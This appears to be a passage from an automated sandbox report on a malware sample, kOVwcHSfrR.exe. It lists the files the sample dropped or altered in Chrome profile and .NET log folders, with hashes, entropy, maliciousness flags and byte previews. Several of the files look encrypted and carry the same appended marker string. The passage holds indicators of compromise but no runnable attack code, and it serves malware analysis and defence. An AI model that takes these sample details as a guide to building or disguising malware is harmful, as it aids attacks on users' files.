Preview:	.PNG.$.....U.E.o.\|dD!(..2..6...s..Ky.....6Tv&p0R..D.f#...l={j\........XDD.b...N)iD...un.Zx.7.^..M......i0.h....')w+.Z..d.p>.....6.9...5.zh....e..Cb....,..\|oC...Yg.v6...L..)0{......{.C.~..J...o..P..)i..5.......E.3......?..0.....%..mo.]..#H(...;/X`......2w.O.0...~x........j.r....N..6s...h.4.Lbq.T.....2#I.R,X.........:....:t........b.hl..[... ...uG.q..u.d....%..._r.X....g..G....3.)....o.)..q........n..=..M.b.Hu...>.c..`.t.....+4....d....PtpS..A..u....J......g..g......h..=8j\|VL.y.Bwn.n......lI.....=..N...p..s.......;.8.;..,.....d8.vu:.._5..Z.^.(}f@.....!.3.Ds.c..zP.H.7...7.<.......Z$2._.^.]T.u..Nq.Nq...............P.9.Y......q.KL%...o...yp.-.+...v../.{.....&..7...pU......y..@..,&..B!.b.......sAt....>..H6p.n.e.f\.....+..J...L.f.....!...C.t.\|E".%.N...._.Y.>..c..]I....?.]..'.+.f..1....o.....k.?.].....V.,?.fp..}..T.ev.~..P.......Bw..`C..c.6.....'..d.A......i..Ot\|[R...Y...R,.....P..y..%.c...!.f.p....}..m._%.@...;..K...iP....+...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.835108285192097
Encrypted:	false
SSDEEP:	24:ku1nKkzuiTL65W3+RdcRUXBmBqwKbCxeu5O1DyMd1xw1bD:k+n9HOnIKwxeu5O1DByD
MD5:	8D845EC52D0AD69BA1036058A61A657B
SHA1:	ABFF051EBEF60C87B14F3B5B39D897889F18B9FA
SHA-256:	870199543B6AC3CB1AA4B0F543CC981060C1971E07EC0631BF926B3F60BA20A7
SHA-512:	576B4881B4C19277215D8BD46D6D0452C4F5C01E9EF0ED4CE0A535592C33787C9349C628EC038E662CF233536BD741FFAAC8243BB2741D76082FA286C632E01C
Malicious:	false
Preview:	.PNG.c.1Z..A.@.Kv..%...$sa......J`fy...s=..!....Khf9..B=...h.b.2.o.#{:....D....f!.1.Z..j../<u.....W.<RIC+.w...........S...O...k.....e..CB.s....x.h....X....(.R./ ...X..E6...4.Q........R...@&:h....aF.5'r.\|G.$..!X....'.8Fyq..E..]k..e.Ve......;@..3r;...Ui.W..EpS.........]L..'.!......F..{.q...<...{H.7P..v.;.Y....i.S.......)....t.kr\|r...r.....M.....BK.t..L..i.-.o:..,3.{.......&..C.A.T.....L...+{..?`.7..+.P6../.&.d.........s..4.!'.m...>.5..`..u...<.{.;N...X@....V.)...nz.P/.F..'(. _!)....._u..2W.&{Du.....>q......t#..S..y)_..+\|.{..'s>.{)..7..J5....b...ri.ah1........;..0...W.......V.-.d.....K...,...".=...ZL<.=...}.:..D..Z./.7.s..a_7nRu9..y..>...<..-.nP. g.b .....A6...R.*.oe.;..(.....}.E...s.>..;G..8\|[K....6.SK..o_.r.<.ka.6..L.5e.....U.t...K`.0A7...9...=]..M.}W. .5..J.0......Q.L/.r...e....J8.`$.._.....5......~..?.m\.hd..o[...&vV...~....R....5$..Q.$!..HY.A.....]E.!M.R.v.............S.1.<...r. ..7NS.3...#...r../.B...`:......\|)...iz.ZRXP........+&Qj

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1422
Entropy (8bit):	7.866985133161805
Encrypted:	false
SSDEEP:	24:uz8YlU3ATfovxBsK3oSVU1g35RdkQbslHZEgAQ4hL9326iWFPX17wWR8w1bD:SGQTfoJBELGJnkVZEgQL932RW5eWR8yD
MD5:	58F0E75B8358A438DC47F2557E8ECEF4
SHA1:	05DFDCCC213113F1A668F072C16A973EC100FE3E
SHA-256:	B91469E713128C056F8A4A1C20B463EB826A014ADAC2BF6F55495A244CFD3C81
SHA-512:	FE9C5921D2E37A4332DF7A86F48B6BD22D0178896CB2258FB383E021EA06A89BD9DFE34D9BD0B38C24DBACE7DB590067BC0769F1609FF1BE3F78B024B0B844DA
Malicious:	false
Preview:	.PNG.Li.L>vf..}.)........&.Cn.t..u...U(.K.c......0....-.?.?..d+.U._......fc4....I.\|....g..L.._...&uK.....T8F..Gg.G.f..H.vTG...!z.@8.H...O.p...sb.cy)P)............qYT!......m....e...JC.._.y.wpC,!.+.8..u.M......+.....W.&..e......R.\|.{.&.\LPL.......>.6>.fX...i..RV8..{B..+~...3.s......v?n..&....a.s.Z.(..%...,.C...&.R.#a..n.%.M......'S.B.e...e.b..b>...S..My......(.q..lLd...p2D.]....fS.az]/.{.B....5.?.x..e...07{e.E.{<1...F..1...Q#\.F...L!p....@p.5.e...>:.(..8....H.^aH..A.d.)._6.9..wW.b5..7...$...`.e...s... .Qx...>{.t..c..C.p..xD......g..E...z.@..+..u...K.......E......i.:..6p.0W^L........t7.l......F.q.R^8..}/.....w..\|.%K...>%Kx.5...gGVO0........x@...S...k.p...,Iz.$.Q.iX`.u.\_....=.e...,.A[.3........($..............n.$.i=.)...GI.1$....[.m.E.iv...@N.=%'J..l..0V.(...c:u..A"X.J!).P\|..hg>.(ZD.Gt...B.3...P.u'.fV.D..._./......;..~.?51...2..{... .6d...N... z.L..'.c.$..ch.z..3...pX.....<e)..>.2Q.q.K...%(u..Y.;.Oiu9..`gb2.+..{'..Fr..........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1566
Entropy (8bit):	7.858043805502301
Encrypted:	false
SSDEEP:	24:1QjegbAlBCyaIdTC288afwIsAxS5shQzIlWUsg5/EuDbK+w1bD:CeGAuyTdPxNIPiMirUN58uDPyD
MD5:	F123D340B20CC9E23F627F8C88AF389D
SHA1:	321ACB91D2BA17608A108AD868666AA9117EA881
SHA-256:	C89828A21FC725355C165FEC25899F1B8393A47F1B93EF4C1E4AC365D03BDD63
SHA-512:	3D249E6996450F36B74506D79A033ABE23EC7001714990E3D72B66C1B4B104781F3B7BD3177F5F30DE760E7EFF2CDAA5EDDBC09A017046A986B5768ADB6B6482
Malicious:	false
Preview:	.PNG...i.S..1......>.Lq.:....p...SC..8.8.r...45...8C..<..TE=.Z...]?L()..........QT.8..6E.......A..~w..V..T.;....$1....]...d.w..M.J$...?..B.V.H...vh.<......Ma........e,pOn ...&......:..@..!.].).I).v.N.t,.I...+.Q.2C..1.....pK..e.-.M..>.......w./.....].^g-.........@...0..G.`..{.C%..opz...[^.;{....h...rY..d&..r...\Wz.c..).(kk...#..\:@.......i....U<D...l..k..w..u....J.9.\...m.1.,...y....y.G.(..f...Ej....0z ..H..:...#.T.G.E.dB....Y..n#l........w.A...zC..~...e..M.e.....W..........y;.9......{+Ri.........HB./xEi.&D..D.vW.[[7]....e.N./?f...G..@...4.XI.0@P54......]T.I...bK....".?v>..m.$.w..e.....T"......4.o.H.=E.._._......#?e..'..&.D....j.X...ker..n!..`.:u.u.}.K. R76a.<.lA.?.....w....+%..E......U..^].=,<.........)....7..=z...V..M..t.....Tz.3{...M..Z..:..B.6...jE....K5...!.....!.F......L.z.#.\......&.3.< ..yv..........i]bs?...X.dL71O....]..m....v....K.IL.....).p...N<.YK`h....^.._..E..xT.=. .~.'H..3'C..P.!R{.:.{.L\...G...... ..S.....;v].C.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1802
Entropy (8bit):	7.902520802895546
Encrypted:	false
SSDEEP:	24:OtRSpNUUYQ2JUJKzoe4QewpO90xCTjkXvxP7mcNtToOxVbiiTruKeJOWCF56Gw1X:OAKv2SrewpO90UTYfH/M+3TrUOlFkGyD
MD5:	13342BC14854B6FD49C5405CFBCC1BF6
SHA1:	097A1EF67818946B3A01F32C50169A264BD119F2
SHA-256:	F5A98E6EFD851E2BD332C17EE29EDCFAC7C86EC5C33D707DFA1466BC926F98C2
SHA-512:	0D7EDE51905F8FD4402A9AF57729C4AF381EB2D9C01AC40D70ABB3BF69BE7F92F2BD3516702CDDBEA2678B0B88CE59AB0DFF9B8242E39558656BA575D1677F76
Malicious:	false
Preview:	.PNG.A....e..&.Y{..Mb%'.[.....O;..>{..<z.w.!...%..".m...YKu...y....AE.O...d{..!..Z .DNyZ.......^...Q.bQ....GP".^K[r. }.9.@k..Y..O[=` '.....?uD.....S....R3"r.mN....[.......A.'........g...&.0M.....wx$y.8..6?..u.xgc.. ...i.f.b.}.pi,..........#!..8`x..7{...M.2.....-..F..@....eu. 8.#....J./P.v.%~.v....#.v.\.....J.zO..6.?Z........V.....q.?(K..W...yS.N...%!..Q..Z.m..h.~y..!.} E.K.?T.....&...B..}...!..#....S..XY..v.-d..x....O{.k...V.0...).....h...9.6.P...`SS........#..\J6...O..&z.V.......<..W..N..R.B...zs.i.A?...-./....Vq......X...`?^.:...Z...t....\|H4k.\"{..i.... O.o.p.;..>.."......P.U....{.>...L..8.R@.a........j.R!Y..D.L9.i1.`$.?.B.'Gq....B.....I.R..B...A..lCh.\|.....=.K..../....38J.].>..'.....3.nWCI\[.%.D.."d.n......1....7O....{.W(.@s.S.r...E.).....ZT......}....1.D\.<...YM.j....'.,AZ._I.l.\|.,..R.g.H+Q?..}...F.... "...._.j.j..K._........3J.....(.....m.>..?.O.Y.V...P..]'i.\|..\p.B.......\.'..5y._.s...;A.[.81(}+.EL#`x..;J..+}....AN..=Z.6B........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	29006
Entropy (8bit):	7.994251402359113
Encrypted:	true
SSDEEP:	768:MdBLiF188yzAkiwI+AJBdeSuIxTRrNSZi5MYVVcNih:EGDVHw5e/DVTRoZuLVJh
MD5:	C5F7EDC14E815784F05EDB6165135414
SHA1:	51C2E14C175454345D1E02AC6CBB7D8F8E516E06
SHA-256:	DBFABDE866A9A51A8CBF367ACADA7B3A50FC0F4B1CC5E702D770D47F7BE76D58
SHA-512:	205DEAC443C537A1E93038B4197807843B11C8F69F07E1AFDF1968F0A8A2E3FBBB457D9DB4F721015BC42F5084FA3D8A4E6287A4F1FA14097DB28C43815760BD
Malicious:	true
Preview:	SQLit....s...bN4L./.G.v]?....d 0:..^.#.I..M..%G.@[@.r.@...I.....rC=..2T..)......X..pGc......Z)...5..?\.~kzs.\....q.<._..Dad..(/.r...%...r.....g..=?..rO.......d..9..Eq)...U..M...;.E.L.g@....5.Pn......B....Tyj<..]..C.#._......"_...".{..U.6..N^h.&..b}xDw#...+..%.....x.W/.]..P..H.b.......Z...RE...."7...=..ZR...^...I......E,.......3&.Nw.8E.....kr#.c.E..L......#..!..w.]Gl.4..5...?.%t.O`o..Go..q..-Wjq...W#....#......+9E.=...b]}..n.K9l..to.Z...'.i....v..%..l.^.......%....-. 52T....`...~.{.M...{V.%.5k.....h...@;......}Y1.R.....pg.e....k.....os,.-?.Zqs.m.h.*...i.........<...E~.. Z;d.c. ...n..,.D.@....a<X^v....<.z].....K....{.g...?....[.B#.\.......w.;.l.6.^...98....f......6..9..qSb.;=.U..m..\.m2..j.M.<&.R.p..J.\...N....B.^..k...bU...3.;.Nh3:c..r...l..;....#...?d,E.+.0.E.......ZE........g....!......r....tjV...........M.1#..'B..u.^......)....(F..b..Z....]...}"......?......#.{.....oOY."s/P5SZ...).."....}.Qm.e..:..]...nJ^..;,9(.J(w538..D[...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	23563
Entropy (8bit):	7.992893400848841
Encrypted:	true
SSDEEP:	384:wqAkD+vGZJq+gaUHCqAxl65XDpphAXyKr2PFPNp5PNqui9TeBxR3kIiI4F:wbrkXgh3aYDiCKr2tFp5PNVxR3qF
MD5:	B8130D9E32273398BF76EDE7F45A1C8B
SHA1:	E8C8EF476172E7DA8E8F9C4F79159F980BFC5077
SHA-256:	8C28E4769F39CA19F097BAD1F1641694FA70166116A3E7280672A887095E8B22
SHA-512:	EF406598FDECB2E28AEC6B42278B23E50A0DC5E13F6E7905D4E950EBC5ED2C77858F86C71AD8C220CE24E9330FF4B9161AEACFB25C3E0A23DC7DD2955EA793CB
Malicious:	true
Preview:	A..r..F....e.Po:......[..R..mM..cE8.."........lG.>....3...8zV..f."O..~(....T..&.$.)...v?A.k.N......."3...\|".Nc...<#.9.0.r.....%x...6!..L...aim..J.......r..>......9..O9.y.H..R..d.\| ;..~].V....SA=.~....?$E<HR.K..RX.....dY..".A.%.......J.......vREfI.(..7.....h.....5^;.x.c...:._........c.X._.GN`g)n...\|.~...l..I).d..S...... ...z0g..P...h.w..).......tb.p..~~.......HL0.1.^gw.Hzo..~u....X9s.B7........T.8JHM..}e.z9.....b....F.'...X..p...@H#.kE....32...T..U@.Z.M...}..n4.pm/Z..IA......ut{..%.]w....h.^V..O,j...c......T.L.... .....z..G..R...s..;&v......t'.N..."(......swDv.l.^.:.(.:..W...KR...F../.6.A.......[...9...H"....V...o..../..9..[.5..n.R...=..5..#...<h.D^w:\|....Z3;. ..!e..yB!...r- ..t..[...1..H... C.....g@.\|..U..K3p.."...d.@..2z\|\.y{tW..}e.2.h..p:..Q..\|..~6...l.JL.."...?..So..pP..tr.,.9....q7r^.".....D9m......q...^p...B..F....PJ.....n...(...oc..N.v..J.[t..L.7....*...63...cf.`6..l..\|R5...n_....{>.d....Xw.>.}/t..j.W.;-..D...sT..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	611
Entropy (8bit):	7.667258278324335
Encrypted:	false
SSDEEP:	12:ks4twXL/Qh8JIb8XfQQhtJow2DB4LLQQnjemHWf+f87YbZhCwoqw1cii9a:YkLYh8J629ht5PQQ1HWf+k7iv7w1bD
MD5:	7C09DC687CB47FB4BE5D4F38E8F6A9CD
SHA1:	6F6C1789BA12D77D7DD2AE2BDEAA3BD4DEC57539
SHA-256:	5BCD2727A10819AF8A7AF3A653C0FC096C9577B09C0D96FBF4D93EE6CABBC4AF
SHA-512:	C1B82944FAA5D2E57CF90E1E847D96A64581077B5F88690202E109FFBEF2FC6F5D8F39B4E2571E288EB482DCB5B6625C0DD30F38CC1D1EC654EDAE23CE746E03
Malicious:	false
Preview:	2023/3.!.?..Wt]L#.e-\...Ug.o.?..=wB......H..2...C.4p.........a....k...e..E;{...c...<.P.....d...j.2.;....%.~.....a.I.....<..l..{hY.....9.$...e.....&(..:...R..k.<.........R..S.4 ......%.wE...._...V.hPg.=_.......9...V..eu../.~..<Un...0..dF^0./.J....6r.:[...,F...R.C........{...T.,.e...?.......1v\|Q.voI.n.Q.6.<tc...\.\....4xt..8.....z.Y...._9..r.G.V..H.W4.....n&X.",.".#..1~.s../(...Zu..]....9.....-...Llo..........n'~7.Z.k..o./.Fi...(........(..:.....z.s.......Kw..8...;..\|;..k.Y.b.#.A.r.....l...[.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1213
Entropy (8bit):	7.838130602331032
Encrypted:	false
SSDEEP:	24:G+DO57FiLTjS6ozeymOFNuUoVRkww3nr0hyA7zYoFCw1bD:jD+5iLTjS6oRR93rmP6yD
MD5:	D3E2E28DBAC94C4E94A1A0E93A9F42E2
SHA1:	9D65B945F6748B6A2A7826BA91A4FDC873020BBD
SHA-256:	991730317ED887BA92A6ECAFF623BE50EC30B1E26F8DC210BBF6E3915BB54E3D
SHA-512:	29B61E94D1D69DA518B590872D686AAD12DBCDB38F897CCE329C9D4B1EE0B927E86EF09166EA22AD789924345F620648F95C5CA8CABCC8340CEC099F0C1D9016
Malicious:	false
Preview:	.h.6..D..l.V.....1.:...... .F.Z..T+...W^L7"-.mX..Hj..JC..v.... F.7R`..... .{=q...UX..8<"...w..W>2jf.%.0...).z.$.N.5...../=.O..9...(q..,;..`^........k.&>.@RF.N... ....ZJr.W.`...7A...x.).i.^(.(.pO.$.E...3..s~.?.a,."kJ"G...Y.r...(..w.....W.....K.....mg=.3......Iu.w5.....Fz..95....\.%..6......l......6.l.,..'@Y..F..?C.....k.2..R........]fT.)..........^........x'..Oj....>.~vZ`..e..:$<.Z..\|u.V!.XZ..fd...S....YS.9...k3..%......4.Q.zlm.......DL5..R....Wq..._j...c.J%.....CA.r....L..m\.....G.....,+.V..5.._.z..B....[...pt.)..~.T..9}.f..u#.R%.^....MJ,:Z...N.1.t....p....u..i).7\b.y................fx...z.s.f....\|.vs.W_...N.. .r.....Ga....+..J2Q..=...EU.m%.<.);..S...S..O...r}.4...v.^.. ..\|..v.=.....R..a.T..i.....^J....W..J...F....jz.Ytp[.D.f..^\|............X.<.......~.?.MY.....rf.\@..c...<...J.J.}.:....9>...c.........4'..].0...[.."..Q}...;.}...R.~....M....C.2/....B.....-...h.6..-..;=.hA.:......B.T..%....F).d.V.&B...E.+....9.s.....6D.L;.N.Q........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	629
Entropy (8bit):	7.638433303150937
Encrypted:	false
SSDEEP:	12:kWnE9IhamVWGzAPLOdj3pdCg7olbBpRlJ+bbWi3fKttboqw1cii9a:ZEChaiTzAPLOdLPNoDdMbbW+ew1bD
MD5:	5E440988B054F483C3485BE0EA359B71
SHA1:	5414C979F944CF28E3F67AB701C7108F98D5171E
SHA-256:	B18EBB7F6143C554704034B7BFD08314B3E4C9D592C5C4A8B7FD7745BC613E2B
SHA-512:	B4FE15B8598ED03BA9868FC2C6491EA1DBC394BBAC96C9F12E5A3CF1D12C679A8DB6C12676517FA10DA4D3570A78FF69FA3DF19FB7384BF8E22DB140FF21BFEA
Malicious:	false
Preview:	2023/Z......D.9.L......c..w...U..OH....:.(_o.b.,.qyT.0..ci.K).XY.x[.A.0.E..0M.n..,TAk.nQ...?.~)OX.......S....U..,g\P...L.....u.Z!.p.......7f. ....EK.h.............=.Nq..e...8..j.D8{j.i5..-....^..G\|.h............9b..<../..}Dr=J9..~.B.u..o@..Ti.B.(+L.o&....u.[.LS^..:u.r...C...3.O@\H..=..X...\|o_..&...y@Tf..x=..:<.DjGU.CjV...B.5.e..6.......c@....z..UO.]E....s.B.8....9k.gGglAVE............&.....".N.jZ....Xs.B.4...D#.....+..}R..y...e......y&....f...4....e.[l..D~.-......Vd.<...4.W.=M........1.....=...yZ..W.mu.....n]W;..e.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996200559295577
Encrypted:	true
SSDEEP:	768:GM6n3UfWtBswxPHRx4IOTnmdQ/fMqdGZA7DTYWjwSsSl9/fWO52gC3Cxzgdzxvdu:GTtBsw1MIO7masQLsSl9WO2vdQP
MD5:	5C1D407FDC3E643988001841587B351B
SHA1:	46ED6EA2EF42F8F4BA00400FC424EAD00ED9C9A4
SHA-256:	B638E7EC6BC7BE3B94121C92DE0DC70F0535CF5CB953E3392B86C65F8F1C942B
SHA-512:	33D85A38C5A6843DAD410B586C05289FD036DF5F27A50DED18EE09ECF4ADCFF20874B5DA66907D6309607D58D1608072880A6DB5EFB3050C0E318B771DD9F24C
Malicious:	true
Preview:	SQLits.;Z....'.....x[..z.'.MW.M.5.j.........-h$..^.Y....m+.R6...............-O.t....J3...zL...,i:.Q.A?.pD?W....~.....HU.5k.f./db.1...C........Z....+.g.........^..../...=.e.8z.RJ...Eb6..B.....Y..{....jB........U/...F=t..3...~.........D..W}.$."IN.z;.y...s...~...Fk.....bH...#.7......u.s..).KD...f..I....V.Lu.._.. U..]=...7.....>q..\o9.../6..7.....U.R.q_..C...y....8..i,n./......jZjw.$.....)....wj%..5.!Du.u[.Mb....{...TE.GG.V0c.d@wVF.e,E......].D..]..PI....:...F...3..]!...."..@.......?....,J.....-..Ug....AE..k...{07...e x.Y...(d....z.y.....D..8........B).4..\k8..0[.t......R.{....>.~.D....Q....Q..`&b.{.;..PA-...{W...){.f.e.sY....<1.e...JMZ...o;.".:.0.J.......4...A.>..Z.&..x.2..W.2..ry^.O.z..z.......G%..P.!.y4..VW4../u..$-$v..n..<...G.Y.....r.0.G.I..\.6..9B?..I[....}2..{.r+.8I^gPn............D+..c_J.4&.g...I.i..].vo...6.u..$t...........C....P...}.S.JJ...\|.U2t........G...8...&....wg<..L.n.%m-[(....44q.....4.#..N.b5...-...AA...>L......_lN.My....x

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.234069561803938
Encrypted:	false
SSDEEP:	6:QKT4Dp6ZJ0rBsOEgXNvnO4PMZkuZs3NzRIw1Oao1iyJMxYOB6sowfw5XeWcii96Z:QKsw30DNFnO4PMZkr/Oao1iyCxYONoqa
MD5:	49A99A5FAD2949678AB4DE43D507E9A6
SHA1:	545FC023ED8C21955CD53D07109AE53C6C209BD9
SHA-256:	63918558AFC74CA59CFB52BEF39F2744553B5BC3D29D662F931F5C8928F866B2
SHA-512:	3587929B9A0E4A57B9DC53EEB13559FA2A09DD0CDF9BB979A802F85D1975E5AFC3AC33004CEB2BFD4B39A0A586D9947666770F6EECA4FC7EFFED7E1D510679EE
Malicious:	false
Preview:	1,"fu...Sk...$lO.......K..UqrJ9y......r..5.C.....x..m...7.;.....X......%L60..9....M..<.S...Ut..'M@.G!....`.....Q....!O..q...gt...........h..e1.'...h..{lG`..W..I.WkN.+.4I..t.2l5..,P..iu...ZB..0..wmi....wk.u}r..1...1.>....@.@][......mq....Z..Q..U.v.,...........-TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1554
Entropy (8bit):	7.857516972766632
Encrypted:	false
SSDEEP:	24:vM1PsqSv0gdViw5XefuHubWOEO7K2tcvRJ8lIMvvvbPlzXvRlpRLKMrYskmochqY:E1PsqQXdcoumHupeNX4vvLI42chq9yD
MD5:	604BC21F0DA087690D3EBB573290EAB4
SHA1:	87E2922988110E25D3E98BD261AF05D3415E6F90
SHA-256:	F1FEFA52CFB9E7EA077F124389F995704A1317A861BECD2AC12041413BB85712
SHA-512:	6C8CBFCB62AA55FB8BE9FF5014C016F9BF90231331BF04C1738A9436D106721E30FFB37F14A4947C6C876F79F438A07956D661325593B8077259B445F510DC9E
Malicious:	false
Preview:	1,"fu.k..}.\-DxE...t...:H..co.r6....{.6].".6...'..@...R!?...S..\|.`.W.YM..w...VZ.....L.F^.:.N..a5.5n.m....D...9..qC.).Ae.Y..k.......`.h.y..DD.y.m.,D.)."....L. Z.".....(._...zr..}(.c..W-y#..i.....f...l.u.W........f...:.S.Ss.....WY#.P.Z.[f.....; .g.....~e.o.jL..7.YA`...-j[..z...P.-8<?dc6........)..M......t..p.!..:};.[..=....m..9.D...mtt.-.{.vA...........1l8..5.cZj47...A.^........\..b.....[....0.T.....z.j..{..v.....qL.gs)..%..b..m.7b6.....O.vX..5..?a.......~~..E!.%...U.9\k-..E..OH.\|..9./r.....+...Q....{`.bC....mI5d"..,P.7.Z}e,T.}l.`...h).6..g'.......@.Oh..k....M\|..1mT.."/f..&^$T.........4$C6...h$..7\|N...1..o....h^0q....#.d#....;...ME/JY...q..%.-.h.......{....lz.{r.E.u.........l.....b..r.d.p.$.0.F....j{/......h......P..`..2.,?u.....P...=k4..C...#J....%..k%.\|.Sa.n%GI......i.o....9.O.?....$(....s.s1.......bq.=A.M.i.T]u.....)....z..u..%;...:.-.\-..&....D.q._..!..K..y...Kc..#. E.k.r=.@.&..a".\|#.3`e....9^TaG.'G>MY.....hI.E.&.G..3/^k.z?%*/..yv...&

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\LocalBridge.exe.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1952
Entropy (8bit):	7.899427957565781
Encrypted:	false
SSDEEP:	48:XEUvGONYXh2uYd52cUmhmUu6Abx9NDDLkd/pgtqcExyD:XEIGONIh1Kb3hM6ADdsd/YqcExa
MD5:	E4E1FD8D09EC6D0754ED2F498A1EA3E0
SHA1:	9BBDD2034D831BDBFE6CB034AE53E4E4C5035347
SHA-256:	2F875E22C25B5DF8FAD0238A26EE9CA749016BBD6C53CAE35665E61DC3F004A8
SHA-512:	C9770ED4B1FA9F6EFF00A129E085AB36D3E8B807243ED2A5589BB2853530B393561673AEE637122EB3996AF2A841BC8664D5C66201EBC41D2A4EE1C3F93A057C
Malicious:	false
Preview:	1,"fu.1y...J..33 ....b..A....H.x...u....M.....G.v..Y.d..dH....}..N'..........k.^.r..u@.....bW......{(.Oz...+g=.+...4.A.OLM.?@ =..Q.X...X.K9.,.....<.D.\|.......)iqA..#..^.N(...\|."{j.S.....K.....^."...p(.fE.4./..........l..........D6...`.r.....\_N..1HDr..i.Q.d....pY"...Cc....).t..w;.o....~.W.S....+..V...1].Hz..K..`....XK...y.;..M-..X`.(..=.K.O0..G`KhF...M..Q.. ..? //.>~xe.S........5..:...#.<.CZ3M...p.N..#F...Z..>..N....Z1h.^1..N..n.:.....6...A.....o.f........Fh?..S...by.Z./.) .8..^....tq\....TwA..h{R.....A..z...g..-E..3.".C..5OHrF.<..b..=f.....g...P`..X.tV.+8Ok..d.t.`.$]....}...2...t....9....Ln...?E.y.^xi4....g...R.f..._...e.P"bY/:.9...c......\|......W..8..Z.%..P]..!;...{..,...H=..Q.e.H.......P..R......<&.6?..a...*=...~..Z.s..E(..%9.5J....m...1.K.&o@&:.6....4..G./@.....0..jy di..5...c..N-.ym..!.\|..O.:jO....o. .%A.ls\|..#1H.C......F.....N...-.!.9.d....$.Y..7..)...).c......&U..b..Jk,.....m7..1m......p+.C....A...3.......,......0.O.....

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NGenTask.exe.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.7725774556518665
Encrypted:	false
SSDEEP:	12:Qn53pP8Qy3ldgMhts+DGyU99ueZWR5K/cmalKvLRIKLbotG22WyaX8LHEsfajfvF:I50Jhtns3IK/LkKyKP22WyVa6w1bD
MD5:	54399C8985D1F1C5D534BC73EEC59B85
SHA1:	974E3DC99E3F75075F74B3E64418D0ED032EBC06
SHA-256:	16973C8B47C9A807189152456530E6942E1DA27126D39E0A56DA34B674FCA91F
SHA-512:	4C33221CF60E8082EE4262C03B2026FB762BDA6559D1CB30AEB8E0A1CB8E7B1208C28243E27CD098CB5037AD2E3AE126B1F1421944A2A3FDA9EB06DCBEBCDB50
Malicious:	false
Preview:	1,"fuvsb...........U.5.}....e...........,..J....D.3-..q.Q}52.O....[.....$j......#....V.D.....$k......t9.>.........0].T..?.G8.I.j.I.e."..eP7.5.d.9q.N(.E8_....$G.Z...=..S..-...ukN...W!..4+)..@.=.C Wy.)/..S....z.<v]>-.%.....q.........\S..5.4.TM/X.S.0..I_.&......x;..35C.._<;..G\..d...:..of...KW....]....s.6.....tbz`.~.GH....W.J...(1.@....-............Wt.........=eV..........A.C...B.Y.#......]Q..\R...Z...m3.. f.....t.6.V?+.&QY.(..~H..A.@..Ke..DR..2...._.l..q.eV.s..?..<m..^B.R..........%.\|3......U8'.>.0.CF..T...s..uYyO0..v.....c...j5hE.:.6~8m...:..4..03.1o......{..#...5...2.u^..m.).U...........@...\|......'A.e.!.......H&.6.0. ..._.i..%..$..#...Mk.3.*..9..G.R...F}..6.E.c..O.^\.x.!..<.RY...[....+.o.p.E%.\|}...2M=..w.].2,\|..&.O..(.........(I...@a.<..~.. ..(..l.I.,?...!..hSZ5>.....n%]".......6.(.(Z........k.0.vU.u....e...B.V\|.x.....J....'..W.0x";.,TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log

Download File

